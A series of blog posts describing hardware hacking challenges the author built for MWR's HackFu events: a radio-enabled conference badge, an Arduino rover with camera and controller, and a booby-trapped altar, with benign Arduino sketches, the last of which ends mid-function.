## HackFu 2015 – The Badgening

Posted in General Security, Hardware, Packet Challenge on 16 June, 2015 by Alec Waters

#### Flashback to August 2014. Planning for HackFu 2015 is well underway:

Alec: Hmm, maybe HackFu could use a bit of DefCon-style badge hacking..?
Martyn (MWR): Can we do something cool for £10-£20 per badge? Max 100.
Alec: No problem.

#### Fast-forward to June 2015, skipping out many months of design, construction, frustration, late nights and burned fingers:

Lots…

What you see here is a box containing 102 of these:

Note the important instruction written at the top of the board

More pics from the event can be found on MWR’s Facebook page, and there’s a video report from the event courtesy of SC Magazine.

Here’s the spec of the badge:

• Ciseco/WirelessThings RFu-328 Arduino-compatible radio transceiver
• 3.3v TC1015 PowerPOD power regulator
• 1.8 inch colour TFT display, 128×160 resolution
• SD card slot
• 5-way joystick
• Serial port
• 3xAA battery box
• I2C edge connector. More on that later on.
• Hackable gameplay! More on that later on, too.

It’s a long way from the prototype:

This is based on an RFu development board and a Nokia 5110 mono LCD (48×84 resolution).

The venue for HackFu 2015 was ex-HM Prison Ashwell, closed in 2011 and now run by The Gaol Events as an urban airsoft site. The venue was chosen to match HackFu’s theme – the premise was that all of MWR (and guests!) were incarcerated, as some of them were suspected of being involved in plotting acts of cyber-nastiness. The name of the game was to identify the guilty and exonerate the innocent, although I’m not sure how many of these people look innocent:

So how did the badges fit into the gameplay? They had two primary functions:

1. They contained each prisoner’s characteristics – their convictions, addictions, skills, and tattoos. You can see this on the menu screen on the picture above.
2. They allowed the prison to track the inmates around the venue by means of their on-board SRF radio modules. There were three base stations around the prison which would “ping” each badge in turn. A reply from a badge equated to “loyalty” (because you’ve not absconded) and increased a global loyalty score for all the teams combined. At different point levels, new areas of the venue became accessible and rewards were given (“party” and “free booze” being two of them!)

The base stations looked like this, and comprised a WirelessThings Xino-RF, an Arduino ethernet shield, a clear acrylic enclosure, and some elastic bands:

It’s “upside down” in the enclosure so that I could have a wire whip antenna poking out. The ethernet shield is so that the base station can call web services on the game network to register the presence of the badges.

There were dozens of challenges for the inmates to attempt – the reward for successful completion of each wasn’t points (as usual), it was a clue to the identity of one of the guilty parties. Clues were of the form “the mole does not have a conviction for Racketeering”, or “the mole does not have a tattoo of tempura battered prawn” – this meant knowing all of the prisoner characteristics for all of the badges (even those of people on other teams) was critical to success. Now, you could just go around and ask everyone what’s on their badges, or perhaps you could find another way to get the information that doesn’t involve bartering with other teams…

The final menu item on the badge is “Maintenance Mode”. Selecting it shows you some stats and config about the radio module; it also warns you that the radio is inactive – this means it’s no longer responding to polls and is no longer contributing to the overall loyalty score (this is Bad! Remember there’s a party and booze at stake!)

Why is the radio inactive? The SRF module on the RFu board is attached to the “Arduino’s” serial port – if you want to talk to the Arduino, you have to turn off the radio – you can’t do both at the same time. If the inmates connected to the serial port whilst in Maintenance Mode they were presented with a request to enter a PIN – the challenge here is to write a simple brute-forcer that would operate over the serial port.

The reward for getting the PIN is a download of a “badge toolkit”. This consisted of a Python script and a dissector for Wireshark written in Lua. The purpose of the script was to allow the teams to use their issued SRF-Stick USB radios to sniff the radio network and have Wireshark parse the packets. I was using the RadioHead Packet Radio library – the badges would listen for RHReliableDatagrams (sent via the RH_Serial class), send an ack back to the sender, and act on the contents.

The problem here was that the stick could only see traffic to team’s own badges – the SRF supports the concept of logical separation of traffic via a PANID, and each team had their own (think of PANIDs like VLANs on an ethernet switch). If the teams looked at the contents of the Python script they’d find a simple tweak they could make. The script put the SRF into ATZD1 mode, allowing it to hexdump all traffic on its configured PANID. Commented out was a line which put it into ATZD2 mode instead – this hexdumps traffic on all PANIDs.

So now the teams can see all the traffic; if they look into the Lua dissector, they’ll see all of the message types the badge supports:

• ping – this is the standard “are you there” message sent by the prison
• IDNUM – causes the badge to output the prisoner ID number over the radio net
• SKILLx – causes the badge to output skill number X over the radio net
• CONVIx – same for conviction X
• TATTOx – same for tattoo X
• CHPIDx – causes the badge to swap PANIDs (i.e., cause a badge to “change teams”)

So, how does one send one of these messages? Inside the badge toolkit zipfile was a file called .gitignore. Which most people ignored. Because it’s .gitignore. Except it wasn’t – it was another Python script that allowed the user to send a ping to a badge and included all the necessary code to calculate the packet’s CRC. This could then be modified to send any of the other messages, with the results captured in Wireshark. Now the teams can start harvesting prisoner characteristics from all badges, and the answers to the other challenges will make sense.

So what’s the CHPID message for? Why cause a badge to change PANID? Changing PANID will also cause the badge to change the primary colour of the display – each team has their own colour and PANID, and if you change PANID the badge will change colour to match.

It turns out there’s a side benefit to accruing loyalty points, namely cold, hard cash. At the end of every sweep, the prison would work out how many badges were present and which PANIDs they were on. Money was then distributed to each team captain based on the number of badges seen on their team’s PANID. If you can command a badge to change its PANID to yours, that gets more money for your team. Cue “Badge Wars”, where people’s badges were rapidly changing colour as teams vied for control!

So what about the “Loyalty Enhance” menu option? Selecting it merely says “Enhancer not found”, with no other clue as to its purpose. However, one of the items on sale at the HackFu shop was a “nunchuk” (note singular, not plural). Purchasing one of these gave you a Wii Nunchuk, and connecting this to the edge connector made Loyalty Enhance do this:

Tetris, seen here on an earlier version of the board

By levelling-up in Tetris your badge’s response to a prison poll counted for more (a “loyalty multiplier” if you like) – up to sixteen times more if you played it for long enough, potentially allowing a team to reap huge rewards. But there weren’t many Nunchuks to go around, and it takes ages to get to that kind of level in the game. Surely there’s an easier way?

“Easier” probably isn’t the right word, but the Yellow Team (the “Framed Packets”) figured it out. At the peak of their activities, they were netting over £30,000 of in-game currency per hour – you can read about how they did it here. Extra credit also goes to the Green Team (the “Barred Coders”) for downloading the firmware from the badge, removing all the troublesome CHPID and SKILL/etc commands, and reflashing their patched code. Credit goes to all of the teams for their efforts – they all dug deep.

## Lessons learned

This was the first time I’d designed a board and made something “proper”. There were a few things I picked up along the way:

• Make sure you get the Eagle files right before sending them off to the board house! My first run of boards had the four pins at the top of the display 180 degrees out, preventing the use of the SD card slot.
• Test the boards when you get them back, and before you solder any components on. Some of my boards had dodgy soldermask, much as you see here. It’s quite frustrating to discover this later rather than sooner, but that’s what sometimes happens when you use a cheap Chinese board house (although apart from a few dodgy ones, the boards and the service from DirtyPCBs represented excellent value for money!)
• Get a Panavise Jr! Assembling over 100 boards without one would have been more torture than it actually was.
• Don’t do something so monumentally daft as committing yourself to a project that involves making over 7,000 hand-soldered joints (each badge has 70 joints) 🙂

At the end of this year’s event, I was issued an instruction for HackFu 2016 – “come up with something awesome”. Hmmm, let’s think…

## HackFu 2013 challenge teardown – Part Two

Posted in Crazy Plans, Packet Challenge on 24 September, 2013 by Alec Waters

Part One of this post is here; this time I’m going to talk about TempEx and its controller:

I for one welcome our new robot overlords

TempEx One! You muussst obeeeeeeyyyyy me!

## Parts list

From the point of view of the challenge, TempEx is mostly chrome, but we all know that this is the element upon which all coolness is built and we should seek it out with ruthless determination. The core of TempEx is a DFRobotShop rover which is basically a stretched Arduino UNO with tracks and motors. The tracks, wheels and gearboxes are all standard Tamiya model parts, with custom brackets holding the whole lot to the mainboard. It’s a pretty nifty bit of kit, but it needs a bit more than the basic kit to be truly useful.

Firstly, it needs a bit more payload space; this is easily catered for with the expansion plate which sits above the mainboard on standoffs. This gives you considerably more space to work with:

There are plenty of cut outs that you can use to mount equipment, including holes specifically for mounting servos. In terms of payload, TempEx needed to carry an infra-red camera and a rangefinder on a steerable mount like this one from Dagu. Controlling servos with an Arduino is pretty straightforward in concept although surprisingly challenging to execute in an elegant fashion, but we’ll get on to that a bit later on.

The rangefinder is an HC-SR04, which can be had on eBay for a couple of pounds. It’s easy to use (even easier with a decent library) and pretty accurate for the price, although you need to get a good return “bounce” to get a reading – if you’re facing a surface at 45 degrees to the sensor you’re not likely to get a return at all.

I scored a cheap 900Mhz IR camera on eBay:

The camera can be driven from a 9v battery which gets drained pretty quickly, even more so when it’s dark and all the IR LEDs are turned on. To get around this I used lithium ones which when I tested them gave over five hours of service with no degradation in picture or signal, easily long enough to last through each team’s attempt at the challenge.

At this point, we’ve got enough gear to build a rover that you can drive around tethered via USB – not entirely practical. Two choices for wireless control are Bluetooth and ZigBee/XBee. I wanted to have a controller that worked without a PC so I went for the XBee option because it came with two radios, one for the rover and one to put in the controller.

Conceptually, control of the rover is straightforward. The ‘wasd’ sample is a useful base, reading a character from the serial port and operating the two motors accordingly:

int E1 = 6; //M1 Speed Control
int E2 = 5; //M2 Speed Control
int M1 = 8; //M1 Direction Control
int M2 = 7; //M2 Direction Control

void setup(void)
{
int i;
for(i=5;i<=8;i++)
pinMode(i, OUTPUT);
Serial.begin(9600);
Serial.println("setup");
}

void loop(void)
{
while (Serial.available() < 1) {} // Wait until a character is received
int leftspeed = 120; //255 is maximum speed
int rightspeed = 120;
switch(val) // Perform an action depending on the command
{
case 'w'://Move Forward
case 'W':
forward (leftspeed,rightspeed);
break;
case 's'://Move Backwards
case 'S':
reverse (leftspeed,rightspeed);
break;
case 'a'://Turn Left
case 'A':
left (leftspeed,rightspeed);
break;
case 'd'://Turn Right
case 'D':
right (leftspeed,rightspeed);
break;
default:
stop();
break;
}
}

void stop(void) //Stop
{
digitalWrite(E1,LOW);
digitalWrite(E2,LOW);
Serial.println("stop");
}

void forward(char a,char b)
{
analogWrite (E1,a);
digitalWrite(M1,LOW);
analogWrite (E2,b);
digitalWrite(M2,LOW);
Serial.println("forward");
}

void reverse (char a,char b)
{
analogWrite (E1,a);
digitalWrite(M1,HIGH);
analogWrite (E2,b);
digitalWrite(M2,HIGH);
Serial.println("reverse");
}

void left (char a,char b)
{
analogWrite (E1,a);
digitalWrite(M1,HIGH);
analogWrite (E2,b);
digitalWrite(M2,LOW);
Serial.println("left");
}

void right (char a,char b)
{
analogWrite (E1,a);
digitalWrite(M1,LOW);
analogWrite (E2,b);
digitalWrite(M2,HIGH);
Serial.println("right");
}


I ended up with a nine-way control of q/w/e, a/s/d, and z/x/c using ‘s’ for stop and q, e, z, and c for large-radius turns running one track at full speed and the other somewhat slower. a and d were for zero-radius turns where the rover spins on the spot.

Moving from a USB tether to wireless via XBee was straightforward. Out of the box the XBee radios act as a kind of cable replacement – whatever one transmits the other receives. Leaving aside the security implications of this default config (and the hacker-rich environment in which TempEx had to operate) moving away from the tether starts by using the XBee to serial board that comes with the rover kit.

This appears to a PC as a serial port so you can just attach a terminal app to it and enter characters just like you would in the Arduino serial monitor window. The final step is to ditch the USB port altogether and use the serial TX/RX lines with a second Arduino, again just sending single characters for the rover to interpret.

There were a couple of gotchas along the way. Firstly, the rover would occasionally throw a track when turning, something that could be seen as a result of the sprocket wheels slowly moving outwards on their axles. I was a bit reluctant to glue these in place, but fortunately no tracks were shed during HackFu.

Secondly, I had trouble with power brownouts, especially when doing something like going from full forwards to full reverse. I made three changes to cater for this:

• Moar axle grease! A tube of this comes with the gearbox for a very good reason.
• I switched from using the 3.7v LiPo battery to the 4xAA holder. Using rechargeable NiMh AAs gave a voltage of between 5 and 6 volts, about double the nominal voltage of the included motors. The rover went like a rocket with the AAs driving these, but at a cost. Adam Borrell has done some testing with motors like these running under over-voltage conditions. I’m glad I read this before HackFu because the brushes can wear out in a matter of hours – after all of the development hours TempEx had on the clock there was a distinct possibility that the motors would fail during the event. I replaced the 3v motors with 6v ones, and made sure I had spares on the day.
• Finally, I re-wrote the code to be a little kinder on the drivetrain. Instead of slamming the motors from zero to max revolutions in one hit, I gently ramped the RPMs up so that it took about half a second to get to top speed.

Operating the pan/tilt rig was done in a similar way to the motors, using r/t/y, f/g/h and v/b/n, with t being down, f for left, r for down/left etc. g centred the rig forwards. Similar “kind” code was written for the servos – if slamming a motor from zero to max is unkind, doing the same with a servo is plain brutal! With the mass of the camera to shift as well as the rig itself, it’s important that the servo take its time to reach the desired rotation. For each pass through the Arduino’s loop() the servo would ask “have I rotated far enough yet?” and if not it shifted another couple of degrees towards the goal.

Here is some sample code that moves a servo “kindly” under the command of a Wii Nunchuk to illustrate:

#include <Servo.h>
#include <Wire.h>
#include <ArduinoNunchuk.h>

#define BAUDRATE 19200

ArduinoNunchuk nunchuk = ArduinoNunchuk();
Servo myservo;  // create servo object to control a servo

int potpin = 0;  // analog pin used to connect the potentiometer
int val;    // variable to read the value from the nunchuck
int servopos; // where the servo is
int threshold = 8; // trigger for movement

void setup()
{
///////////////////
// SERIAL
Serial.begin(BAUDRATE);
///////////////////

///////////////////
// NUNCHUK
nunchuk.init();
nunchuk.update();
servopos = map(nunchuk.analogX, 25, 221, 0, 179);     // Get initial value
///////////////////

///////////////////
// SERVO
myservo.attach(9);
myservo.write(servopos);  // initialise position
///////////////////
}

void loop()
{
nunchuk.update();

val = map(nunchuk.analogX, 25, 221, 0, 179);     // scale it to use it with the servo (value between 0 and 180)

Serial.print(nunchuk.analogX, DEC);
Serial.print(' ');
Serial.print(val);
Serial.print(' ');
Serial.print(servopos);
Serial.print(' ');

if( ( servopos < val ) && ( val - servopos > threshold ) )
{
// Moving to the right
servopos += int( threshold / 2 );
Serial.println('R');
}
else if( ( servopos > val ) && ( servopos - val > threshold )  )
{
// Moving to the left
servopos -= int( threshold / 2 );
Serial.println('L');
}
else
{
// Not moving!
Serial.println("STOP");
}

if( servopos < 0 )
servopos = 0;
else if (servopos > 179 )
servopos = 179;

myservo.write(servopos);                  // sets the servo position according to the scaled value
delay(10);                           // waits for the servo to get there
}


It just goes to show, it ain’t what you do, it’s the way that you do it:

## Moving swiftly on…

…to the controller. There are four bits to this:

• An Arduino Uno
• An XBee radio sitting on the aforementioned USB adapter hooked up to the Arduino’s serial port
• A pair of two-axis potentiometers, one for controlling the rover and one for steering the pan/tilt rig
• A Nootropic Design Video Experimenter board, a bundle of awesome if ever there was one. The output of the camera receiver plugs into the video input, with a TV on the video out

The whole lot fit quite nicely into an OKW enclosure that I had left over from the now-defunct PierToPier.net WiFi project (a fully-routed mesh wireless network on Brighton beach for public use – ten years ago!).

The mode of operation is as follows:

• Read the x and y values from the two sticks and convert them to the wasd-style character
• Send the character to TempEx by printing it to the serial port, which sends it to the XBee, which sends it to the other XBee on TempEx where the rover’s code takes over
• TempEx acts on the received character and takes a reading from the rangefinder. This is sent back to the controller via the XBees
• Back on the controller, read the range from the serial port and use the Video Experimenter board to overlay it on the TV feed from the camera
• Repeat 🙂

Step one was an interesting coding challenge – converting a pair of 0-to-255 values to a quadrant in a 3×3 grid in an elegant and efficient manner. I don’t want to blab my method here because I want to use it as a teaching case in the Arduino workshops I’ll be running soon. If you want a hint, contact me via Twitter and I’ll give you a nudge in the right direction.

The VE board displayed a bit more than just the range – I wanted it to look a bit like a heads up display in a military aircraft:

Tower, this is Ghostrider requesting a flyby

The Pan/Tilt markers have indicators that show in which direction you’re steering the camera, the L/R indicator shows which direction the two tracks are moving in, the range is at the bottom, comm errors are shown at the top, and the targeting reticle in the middle is there to make you feel extra-menacing. Here’s a less-than-clear shot of it in action at HackFu:

The VE’s overlay was a little light but perfectly legible despite what the picture above looks like. I found that by feeding the camera receiver into a VCR and attaching the VCR to the VE board produced better results, showing that the problem is more likely the output of the camera transmitter rather than the VE board.

I wanted to cater for the case where comms with TempEx were interrupted due to interference or excessive range, so in an attempt to implement reliable control the following steps were taken:

• If neither joystick is deflected from its home position the controller continually sends ‘s’ (stop) to TempEx. If the controller gets a range in return it knows that TempEx is still there. If we don’t get anything back for two seconds, display NO COMM on the HUD to let the user know.
• When a joystick is moved, continually send the indicated character to TempEx. This means that, moving or not, TempEx is expecting to receive something from the controller all the time. If TempEx doesn’t hear anything for two seconds it will stop both tracks and centre the pan/tilt rig.

This means that you can never have the case where TempEx runs off out of control if the wireless comm breaks down (it doesn’t stop teams from hitting obstacles at oblique angles and tipping TempEx over, but that’s another story!)

So there you have it, TempEx and its controller. I had a ton of fun putting the challenge together, and I think people had fun playing it. As I’ve said, HackFu is beyond awesome – keep your ear to the ground sometime next Spring here, here and here for a chance to win a ticket for HackFu 2014. Maybe see you there!

Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

## HackFu 2013 challenge teardown – Part One

Posted in Crazy Plans, Packet Challenge on 9 July, 2013 by Alec Waters

Words have not yet been invented to describe the utter awesomeness of HackFu. Run by MWR Infosecurity, it’s two extremely intense days of team-based hacking, puzzling and pwning, tackled by means of skill, luck and sometimes even outright cash bribery (Facebook photo albums here and here). Many thanks to the RAF Air Defence Radar Museum for providing the venue – it’s a great place to visit, go check it out!.

As with last year, I supplied a challenge for the event. I’m going to document it here, because it was a little, errm, “different”, and I learned an awful lot whilst I was screwing it together. HackFu is all about learning stuff, and there’s no point in learning without sharing the knowledge, right?

## tl;dr

Booby trapped Aztec temple. Violent kinetic defences. Golden Idols for the taking. Robots with night vision and sonar. Four distinct forms of wireless comms.

## Enter the Maze…

All HackFu events are themed, and this year’s theme was The Crystal Maze. My challenge was for the Aztec zone, and had quite a straightforward aim – retrieve the Golden Idol from the altar in the temple and discover its full name. It’s not going to be as easy as walking in there and picking it up – as this journal entry shows, we could be entering a high-threat environment. How to minimise the risk? In “The Phantom Menace,” Rune Haako was faced with a similar situation: “Are you brain-dead? I’m not going in dere with two Jedi. Send a droid.”

Send a droid, you say? Enter TempEx One, the remotely operated temple explorer:

TempEx allows the players to reconnoitre the temple, detect traps, discover clues, and ultimately permits them to formulate a plan to safely enter and retrieve the Golden Idol from the altar. TempEx is equipped with an ultrasonic range finder and a wireless infra-red camera, both mounted on a steerable pan/tilt mount.

TempEx is remotely controlled by means of a two-stick controller, shown here with its lid off:

The left stick drives TempEx; the right one operates the pan/tilt rig. The camera receiver is shown in the background, and its output is pumped through a TV overlay board. This means I can draw a nice heads-up-display over the camera feed that shows command inputs from the sticks, telemetry received from TempEx, and a cool targeting reticle to make the user feel extra-menacing. With the lid on, only the sticks poke out:

And the altar? It’s equipped with:

• A light sensor – keep it dark in there, or face the consequences!
• A pressure pad – remember what happened to Indy when he tried to swipe the Idol in Raiders of the Lost Ark!
• Tripwires – careful where you step!
• Active defences – eye protection mandatory!

Finally, we have the gameplay element of the challenge. It’s got to be fun, it’s got to be do-able, it’s got to have scoring in order to rank the teams, and it has to involve some hacking (otherwise the event would just be called “Fu”)

## Hopefully…

…I’m keeping your attention. I built and coded all of the hardware above, and I’m going to document it one piece at a time. It’s a journey of discovery in which I struggle to remember which end of a soldering iron to hold and am forced to deploy several “Plan B’s” in pursuit of realising my ideas.

## The Altar

The altar is basically an Arduino Mega 2560 mounted inside an appropriately decorated biscuit tub with one of my kids’ toys on top to give the Golden Idol somewhere to sit. It’s a pretty squat assembly, but from TempEx’s point of view seven or eight inches off the ground it looks pretty tall, especially with the idol sat on the top:

The Golden Idol is definitely made of gold, honest:

I’d never touched an Arduino before embarking on this challenge, but when you take a look at the ingredients in an Arduino Boffin Kit things like tripwires and light sensors suddenly don’t seem impossible to implement. Books like Beginning Arduino confirm the suspicion – it’s all possible, and even relatively straightforward.

For the hardware side of the Altar, I wanted four tripwires, some kind of pressure pad, and a light sensor. I also wanted to have some kind of visual indication that the pressure pad was being read, so that people could time some kind of Indy-style switchout, taking the Golden Idol and replacing it with something else. The idea was that players would start with a given points score which would be deducted from when they trip the traps. Tripping the light sensor and pressure pad were considered major sins when compared to tripping the wires – I wanted to guard against people just turning on the lights and swiping the Idol without “playing the game”.

Let’s start with the tripwires. They’re basically switches, and that’s what I used for my first prototype. From the Arduino’s perspective, they were normally-open switches attached to digital pins configured as INPUT_PULLUP – this means that they will read high until they are dragged low, in this case by my switches being closed.

The pressure pad and light sensor were implemented as a force-sensitive resistor and a light-dependant resistor. Both were configured in series with a fixed-value resistor, forming a voltage divider. This means that by attaching the voltage divider’s Vout to an Arduino analogue pin I can determine “how much weight is on the pad” and “how light it is in the room”.

The first prototype for the Altar looked like this, built in the traditional fashion on breadboard with jumper wires:

The light-dependant resistor is highlighted blue; red shows two switches pretending to be tripwires (there were four in the final version), green is the force sensitive resistor and cyan shows an LED that flashes when the FSR is being read. The LED highlighted white was used as a debugging aid to show me when all the traps were tripped. The Arduino sketch for all of this was reasonably straightforward (final version is shown later on).

Great! It’s the Altar done! Check it off the list!

Orrrrr, not. What we have here is strictly a prototype, knocked up over the course of an evening. This isn’t a deployable solution – we’ve got to “make” something, based upon the breadboarded proof of concept.

The tripwires were the easiest bit. On the breadboard above, the switches were normally-open (causing the INPUT_PULLUP pins to read high) until they were closed (causing the pin to read low). To replicate this, I took some clothespegs and drilled holes in the pads and ran wires through them:

The idea is that when the peg closes the two wires touch, making the circuit and pulling the Arduino pin low. To (perhaps unnecessarily) aid conduction, I wrapped the ends in foil, resulting in this:

OK, now we’ve replicated the switches on the breadboard. How to make these into practical tripwires? To keep the pegs “open”, I used strips of plastic cut from a drinks bottle. Next, I tied some fishing line to the strip and anchored the other end to a fixed point. The net result is a working tripwire – if you knock the fishing line, you’ll pull the plastic strip out of the peg, which will make the circuit and cause the Arduino pin to read low, telling it that the wire has been tripped. Boom!

The FSR, LDR and flashing LED were a slightly different proposition – I had to get out the soldering iron and fabricate a circuit on stripboard. I wanted to take a modular approach, so I soldered some stackable pin headers onto the stripboard so that I could run removable wires from it back to the Arduino. More stackable headers were used as “sockets” for the tripwires. The finished stripboard is the rectangular affair that can be seen standing proud of the rim of the Altar in the picture below:

I mounted the Arduino in a case I had lying around; the case was eventually mounted in the decorated biscuit tub that you can see sitting under the Altar in the first picture of it above.

I have got an LCD display attached to the Arduino, from a dirt-cheap “lucky bag” from Maplin. This was originally intended to be part of the challenge, showing several lines of clues for the players. I got caught up in the fun of hooking up the display and I had it all working nicely before I realised the obvious – TempEx’s camera is an active IR one. This means that it has an IR-sensitive camera surrounded by a ring of IR LEDs – basically infra-red torches. This means that, when viewed on the camera, the LCD display is completely obscured by the reflection of the IR LEDs and you can’t read a single thing on it… Cue Plan ‘B’, which involves having the clues on a piece of paper hidden somewhere in the temple. Crude and low tech, but gets the job done!

We’re nearly there with the Altar. It can detect intrusions with all its various sensors – all it needs to be able to do is ward people off. My eldest son was suggesting things we could do when the traps were tripped, and his least lethal suggestion was to shoot them with a Nerf gun. Fortunately, MWR have a Nerf Vulcan in the corporate toybox – all I had to do was hook it up.

I wasn’t keen on destructively modding the Vulcan. Instead, I put a strip of plastic in the battery compartment between one of the spring terminals and the adjacent battery, with long wires snaking out of the compartment from each side of the strip. By turning on the Vulcan’s power and taping the trigger shut it can now be fired by touching the ends of the wires together. Satisfied that it’s working like this, we can put the ends of the wires into a relay that we can control from the Arduino – at this point, we have an Arduino-controlled Nerf gun, which is extremely cool in itself. I used a convenient relay board for this, having the relay energise for two seconds when one of the tripwires was pulled – this was sufficient to unleash a volley of about 6-7 darts.

As interesting as the Altar hopefully is, it doesn’t pose much of a hacking challenge – something else is needed. Time to put the soldering iron away and think about the “gameplay” element of things.

The idea was that the altar would have a “remote management” interface which, when discovered and activated, would allow players to:

• See the status of the traps
• Decrease the polling interval of the FSR (to make it physically possible to swap the golden idol for a stone one)
• Increase the trip threshold of the light sensor (so that you can send someone in with a glowstick so they can see where they’re going).

The altar management interface was implemented as a simple set of web pages on a small PC attached to the Arduino in the altar via USB. Communication was by means of a simple serial protocol over the emulated serial port that appears when you connect the two together (/dev/ttyACM0 in my case).

Here’s where a slight oddity of the Arduino platform threw a spanner in the works. By default, when you open a serial port the DTR line goes low for a short period of time. This “DTR waggle” is seen by the Arduino, which then performs an auto-reset (reboot) and starts running the sketch from scratch. This is somewhat problematic if you’re trying to keep track of someone’s score!

There’s a page on the Arduino site devoted to disabling this feature. I wasn’t keen on physically altering my Mega, nor could I make any of the software solutions work. I found another solution here – by executing “tail -f /dev/ttyACM0” on the PC, the serial connection is kept open and my scripts could talk to the Arduino without resetting it.

So now the traps are set, the remote management interface is deployed, and the Altar can be controlled via a PC. Here is how the challenge was intended to be played:

1. From the safety of a room outside the temple, read the journal entry and TempEx manual.
2. Cautiously open the door to the darkened temple. This will trip the tripwire controlling the Vulcan, causing the player to get a bunch of Nerf darts in the head. Aside from being for the amusement of the challenge creator, this step is designed to put players on edge and make them more cautious than they need to be. But mostly it was for the amusement of the challenge creator.
3. Send in TempEx and have a look around. Things it will see include the Golden Idol sitting on the Altar at the far end of the room (with a light that’s flashing really fast), the tripwires, a stone Idol, and if you look hard enough, some clues written on the wall (these were the clues that I intended to show on the LCD).
4. The clues list some “control codes” to turn “remote management” on and off. There is also the statement that something is “listening on: xx:xx:xx:xx:xx:x”.
5. The xx:xx.. thing looks a bit like a MAC address, but it’s not – it’s one nybble short in the last byte. It’s actually a phone number, and you can turn remote management on and off by sending the command codes to it via SMS. The codes are received by a GPRS modem (below) attached to the PC, and are parsed by a script run by gsmsmsd.
The script checks the content of the message, and will communicate with the Arduino if an appropriate message is present. A response message is then sent to the sender informing them of the result. I implemented a couple of commands for my own purposes, including retrieving the current trap status and score, and resetting all the trap statuses.
6. If remote management has been turned on, the player receives the following message: “Probing for – 4zt3c : Listening on – 192.168.99.100:80 – Access Token – Sallah : Password – Kobayashii”. Oddly enough, gsmsmsd seemed to duplicate the last character when sending the reply, hence the two i’s when only one is in the script.
7. Hopefully, the word “probing” will make the players think of wifi and set up an access point serving up an SSID of “4zt3c” (hostapd or airbase-ng could be used for this).
8. Once the Altar has connected to your wireless network, we dutifully connect a web browser to http://192.168.99.100, as directed by the SMS. A login screen appears:
9. …but the supplied Access Token and Password don’t work. Whoops. Investigation of the page source shows some client-side validation JavaScript that attempts to prevent the use of several characters including <, > and ‘
10. Knowing that most of the players will be skilled pentesters, I was hoping that they would see this as a potential indicator of a SQL Injection vulnerability. Sure enough, bypassing the JavaScript and supplying values with single quotes in them causes a MySQL error to be displayed…
11. …but there isn’t a MySQL database, let alone a SQLi hole. The entire site is fake, designed to make people waste their time. Nothing you can enter into the form will log you in, because there’s nothing to log in to. Deception is a completely valid defensive technique!
12. Examination of the HTTP host headers sent by the server shows that there’s one called “nazcaTrail” whose value is “clupea_harengus_russus_0120-bona_fide_0177322”. “Clupea Harengus Russus” roughly translates as “red herring”, and 0120 is 80 in Octal. The message I was trying to send was that the red herring is on port 80, and the “bona fide” site is on port 65234 (decimal representation of the octal 0177322).
13. Finally, we have a site we can log in to at http://192.168.99.100:65234. Sure enough, it shows the state of all the traps and offers a facility to tweak the pressure pad polling interval and light sensor trip threshold. There is also a schematic of the altar showing how it all hangs together.
14. After tweaking the pad’s polling interval, TempEx’s camera will show the Altar’s light flashing much more slowly. A brave adventurer will go in, pick up the stone idol, negotiate the tripwires, and will attempt to swap the stone idol for the golden one on the Altar in between light flashes. Except they can’t see the flashes because the LED is an infra-red one, and can only be seen on TempEx’s camera feed. To solve this problem some teams resorted to banging on the wall, others installed metronome apps on their phones and synced them up to the flashing of the LED.
15. However they approached the LED problem, eventually the adventurer would emerge from the temple clutching the golden idol. Underneath the idol was written its name – the answer to the challenge! But…
16. …the challenge asks for the idol’s full  name. Closer examination of the remote management website shows that the idol is running at 13.56MHz, which is an RFID frequency. Scanning the idol with an NFC-capable phone will tell you the idol’s surname.

Job done! Another successful quest for the Man In The Hat!

Here’s the Arduino sketch running the altar. I’m using the Metro library as a pseudo-timer to control the FSR polling interval and the update frequency of the (redundant) LCD display:

// Pseudo-timer library
#include <Metro.h>

// LCD driver code
#include <LiquidCrystal.h>

// RW,EN,RS on the LCD
int lcdRW = 42;
int lcdEN = 45;
int lcdRS = 44;

// The LEDs on the LCD
int lcdLED1 = 43;
int lcdLED2 = 40;

// The button on the LCD
int lcdButton = 35;

// initialize the library with the numbers of the interface pins
LiquidCrystal lcd(lcdRS, lcdRW, lcdEN, 48, 49, 46, 47);

// LDR to ensure darkness in the room
int LDR = 0;
int ldrLowThreshold = 200;
int ldrHighThreshold = 590;
int LDRThreshold = ldrLowThreshold;
bool ldrIsThresholdLow = true;

// FSR to check for presence of Golden Idol
int FSR = 1;
int FSRThreshold = 600;

// Tripwires - normally open, read high when untripped
#define numTripWires 4
int tripWireOne = 12;
int tripWireTwo = 11;
int tripWireThree = 6;
int tripWireFour = 7;

// Relay board - Nerf gun is attached to this
int relay = 8;

// Lights up when you trip all the traps
int alarmIndicator = lcdLED2;

// Lights up when the FSR is being polled
int fsrIndicator = 10;

// Polling speeds in milliseconds
int fsrFastPoll = 100;
int fsrSlowPoll = 1000;
Metro fsrMetro = Metro(fsrFastPoll);
bool fsrFastPolling = true;

// Health counter - your "score", deducted from when you trip traps
int health = 1400;

// Sensor penalties and tripped flags
int LDRPenalty = 300;
bool LDRTripped = false;
int FSRPenalty = 300;
bool FSRTripped = false;
int tripWirePenalty[numTripWires] = { 200, 200, 200, 200 };
bool tripWireTripped[numTripWires] = { false, false, false, false };
int tripWirePins[numTripWires]	= { tripWireOne, tripWireTwo, tripWireThree, tripWireFour };

// Display modes
const int dispModeListeningOnText = 0;
const int dispModeListeningOnValue = 1;
const int dispModeControlCodeOneText = 2;
const int dispModeControlCodeOne = 3;
const int dispModeControlCodeTwoText = 4;
const int dispModeControlCodeTwo = 5;
const int dispModeRemote = 6;
const int dispModeProbingFor = 7;
// How many modes?
const int dispModesRemoteOff = 7;
const int dispModesRemoteOn = 8;
int numModesActive = dispModesRemoteOff;

// Set inital display mode
int dispMode = dispModeListeningOnText;

// Set pseudoTimer for display
Metro dispMetro = Metro(2000);

// Holds data received on serial port
String serialInput = "";
// Is the message complete, terminated by # ?
bool serialInputMessageComplete = false;

// Is remote management on on the PC?
bool remoteManagementActive = false;

// Phone number to listen on
String listeningOn = "07:xx:xx:xx:xx:x";

void setup()
{
// Set up serial port for debugging
Serial.begin(9600);

// reserve 200 bytes for serialInput:
serialInput.reserve(200);

// Set up pinmodes
pinMode( alarmIndicator, OUTPUT );
pinMode( fsrIndicator, OUTPUT );
pinMode( lcdLED1, OUTPUT );
pinMode( lcdLED2, OUTPUT );
pinMode( lcdButton, INPUT );
for( int tripWire = 0; tripWire < numTripWires; tripWire++ )
pinMode( tripWirePins[tripWire], INPUT_PULLUP );
